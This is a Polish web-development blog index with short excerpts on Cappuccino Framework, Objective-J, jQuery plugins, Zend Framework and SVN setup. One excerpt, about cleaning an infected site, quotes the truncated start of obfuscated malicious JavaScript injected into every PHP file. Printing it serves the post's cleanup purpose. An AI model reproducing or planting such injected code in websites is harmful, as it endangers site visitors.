Motorola kupiła 280 North za 20 milionów dolarów

Motorola kupiła firmę 280 North, która jest  twórcą i pomysłodawcą języka programowania Objective-J i opartego na nim frameworka aplikacji internetowych Cappuccino Framework . Jak podaje Techcrunch nie wydano jeszcze oficjalnego oświadczenia, jednak na grupie dyskusyjnej dowiadujemy się że jest tworzona nowa strona projektu i niebawem poznamy oficjalne stanowisko w tej kwestii. Czekam z niecierpliwością 280 North jest [...]

Usuwanie „wirusów” z zainfekowanej strony internetowej

Sposób infekcji: nieznany. Przypuszczenie sposobu infekcji: Total Commander lub dziurawe oprogramowanie na serwerze. Badanie: Wszystkie pliki z rozszerzeniem .php zostały zainfekowane złośliwym kodem JavaScript: function iM(){};this.xFI="";iM.prototype = {y : function() {var xH=50628;this.h=”;uI="";var z=false;var cB=new Array();var pN=”;var x=document;this.jD="";tS="tS";this.d="d";this.qW="qW";var pB=57565;this.cZ=false;var u=window;dJ="";this.cI="cI";var lH=new Array();this.cK=6566;var bT=”;var j = this;var iP=function(){return ‘iP’};var cT=false;var uL=function(){};var fF="";cH="";this.lR=false;String.prototype.oQ=function(p, n){var a=this; return a.replace(p, n)};var yY=function(){return ‘yY’};var [...]

KontorX jQuery

Dzisiaj rozpocząłem zbieranie wszystkich pluginów jakie napisałem w jQuery. Wszystkie rozszeżenia i dodatki będa umieszczane na stronie http://code.google.com/p/kontorx-jquery/. W jednym z pierwszych commit-ów znalazły się dwie biblioteki z przykładami: jquery.alternate Prezentowanie alternatywnego tekstu w polach inputtype=text?,inputtype=password?,… jest teraz bardzo przyjemne. Wystarczy tylko umieścić poniższy kod na swojej stronie WWW i zdefiniować jaki alternatywny tekst ma [...]

Zend Framework DataGrid – „Out of the box”

Niezależnie od rodzaju, wielkości i skomplikowania aplikacji internetowej można wyróżnić w niej kilka podstawowych (prawie zawsze występujących) elementów; autoryzacja, model, prezentacja danych, itp. Ten wpis chciałbym poświęcić bardzo powszechnemu elementowi – prezentacji danych tabelarycznych z j.ang. „data grid”. Notorycznie napotykamy ten element w prawie każdym panelu administracyjnym. Przybiera on różne formy w zależności od postawionych [...]

Konfigurowanie repozytorum SVN w Plesk i CentOS

Projekt P. rusza z kopyta.. po przeprowadzeniu badań, analizie konkurencji, przedyskutowaniu rozwiązań i określeniu planu działań nastąpiła pora przygotowania środowiska pracy. W tym wpisie opiszę jak przebiegały zadania konfigurowania serwera pod SVN. Tworzenie repozytorium SVN Pierwszym krokiem jest utworzenie subdomeny projket, w której przestrzeni będzie skonfigurowany SVN in inne usługi. (Całość operacji wykonuję z panelu [...]

NativeHost: Uruchom aplikację Cappuccino jako aplikację desktopową

Zespół Cappuccino Framework upublicznił nowe, ekscytujące, narzędzie NativeHost. Czym jest NativeHost? Jest to narzędzie umożliwiające uruchomienie aplikacji internetowej napisanej przy użyciu Cappuccino (i nie tylko) jako aplikacji desktopowej. Rozwiązanie polega na wykorzystaniu niesamowicie lekkiego i małego wrappera wokół silnika przeglądarki internetowej WebKit. Rozwiązanie jest zbliżone do istniejących technologii np. Adobe AIR, Titanium, ale na tym [...]

Gianduia – konkurencją Cappuccino i SproutCore?

Na grupie dyskusyjnej Cappuccino Framework został poruszony temat Gianduia – „nowego” produktu od Apple. W odpowiedzi jeden z użytkowników napisał ciekawy list czym może być Gianduia. Poniżej przedstawiam polskie tłumaczenie a zainteresowanych całą dyskusją zapraszam do całości wątku. Witam wszystkich, pierwszy post na liście. Nie tak dawno byłem programistą WebObjects, więc możliwe że mogę rzucić [...]

Raphuccino – Cappuccino + RaphaëlJS

Raphaël to mała biblioteka JavaScript, której celem jest uproszczenie pracy z grafiką wektorową w sieci. Jeżeli chcesz stworzyć własny wykres, narzędzie do przycinania, obracania grafiki,… możesz to wszystko osiągnąć za pomocą tej biblioteki. Raphaël uzywa SVG W3C Recommendation  i VML jako podstawe do tworzenia grafik. Oznacza to że każdy obiekt graficzny tworzy również obiekt DOM, [...]

Wireframes on the fly – czyli Mockingbird z kolaboracją za pomocą Node.js + WebSockets

Mockingbird – jest świetnym darmowym online’nowym narzędziem do tworzenia szkieletów interfejsów (wireframes). Całość działa z poziomu przeglądarki internetowej (projekt jest napisany w Cappuccino Framework, i rzeczywiście wygląda jak aplikacja okienkowa przeniesiona do internetu!) Mockingbird, pozwala na wiele form dzielenia się projektami.. niestety jeszcze nie posada możliwości współpracy nad jednym szkicem przez więcej niż jedną osobę [...]

Jakie są plany na przyszłość Cappuccino Framework

Rozwój SproutCore jest bardzo stymulujące dla zespołu 280North zajmującego się rozwojem Cappuccino Framework i narzędzi mu towarzyszących np. Atlas. Zespół SC oprócz wydania narzędzia do tworzenia interfejsu graficznego Greenhouse dodał możliwość wykorzystania dobrodziejstw dotykowych ekranów. Jakie są plany na przyszłość rozwoju Cappuccino Framework? Lepsza wydajność, a w tym: zmniejszenie rozmiaru frameworka zmniejszenie czasu ładowania aplikacji [...]